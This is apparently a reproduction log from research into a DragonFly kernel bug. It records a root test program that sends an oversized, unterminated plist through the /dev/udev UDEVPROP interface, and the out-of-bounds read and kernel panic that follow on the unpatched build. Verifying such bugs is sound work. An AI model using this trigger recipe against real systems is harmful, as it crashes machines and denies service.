=== DF-2227 run.log — DECISIVE baseline (#0 unpatched) run ===
guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
cmd:   /tmp/oob2227 60000   (root via /dev/udev UDEVPROP; <plist version=" + 59984 'A', no closing quote)

[*] UDEVPROP pref_len=60000 maplen=61440 xml[0..15]="<plist version=\""
[*] kmalloc(60001): kmem/page alloc -> next byte likely unmapped -> PANIC
[*] if the bug is live, kernel scans past buf[pref_len]...
(rssh timed out at 30s — kernel panicked, ssh died)

=> guest DOWN. boot.log panic (see panic.txt):
   Fatal trap 12: page fault while in kernel mode
   fault virtual address = 0xfffff8011864f000   (page-aligned, first byte past buffer)
   fault code = supervisor read data, page not present
   Stopped at _prop_object_internalize_find_tag+0x32f: cmpb $0x22,(%rax)

Reproduced 2x on #0 (identical panic signature both times).